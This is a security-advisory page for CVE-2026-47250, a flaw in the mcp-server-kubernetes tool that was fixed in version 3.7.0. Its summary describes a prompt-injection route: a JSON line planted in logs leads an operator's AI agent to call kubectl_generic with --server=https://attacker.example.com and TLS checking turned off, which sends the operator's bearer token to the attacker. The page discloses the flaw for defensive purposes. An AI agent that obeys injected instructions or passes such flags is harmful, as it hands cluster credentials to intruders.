mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- High
- Impact type
- Code execution
- Confidentiality · integrity · availability
- High · None · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · CNA. Fix status from CNA and GitHub. Impact type from CWE-88.
Summary
mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- Poc
- Automatable
- No
- Technical impact
- Partial
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| Flux159 | mcp-server-kubernetes | before 3.7.0 | 3.7.0 | Patch available | CNA |
| — | mcp-server-kubernetes (npm) | before 3.7.0 | 3.7.0 | Patch available | GHSA-6mx4-4h42-r8vh |
- mcp-server-kubernetes VendorFlux159 Affected before 3.7.0 Fixed in 3.7.0 Patch available CNA
- mcp-server-kubernetes (npm) Vendor— Affected before 3.7.0 Fixed in 3.7.0 Patch available GHSA-6mx4-4h42-r8vh
Remediation
- Fix · CNA mcp-server-kubernetes (Flux159) Fixed in 3.7.0
- Fix · GHSA-6mx4-4h42-r8vh mcp-server-kubernetes (npm) Fixed in 3.7.0 Advisory →
Timeline
- 2026-10-02 Threatist record created from CVE-2026-47250
- 2026-10-03 Alias added: GHSA-6mx4-4h42-r8vh
References
More Flux159 vulnerabilities
- TI-2026-44064 MCP Server Kubernetes < 3.9.0 Argument Injection via kubectl Structured Tools CVSS 4.0CRITICAL 9.3
- TI-2026-34208 Incorrect authorization in Flux159 mcp-server-kubernetes CVSS 3.1HIGH 8.8
- TI-2025-40841 mcp-server-kubernetes potential security issue in exec_in_pod tool CVSS 3.1HIGH 8.8
- TI-2026-28763 MCP Server Kubernetes has Argument Injection in its port_forward tool via space-splitting CVSS 3.1HIGH 8.3
- TI-2026-06677 Flux159 mcp-game-asset-gen MCP index.ts image_to_3d_async path traversal CVSS 4.0MEDIUM 6.9
- TI-2025-33320 mcp-server-kubernetes vulnerable to command injection in several tools CVSS 3.1HIGH 7.5
Sources
- CVE-2026-47250 · CVE Program
- CVE-2026-47250 · NVD
- FIRST EPSS
- GHSA-6mx4-4h42-r8vh · GitHub Advisory Database · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences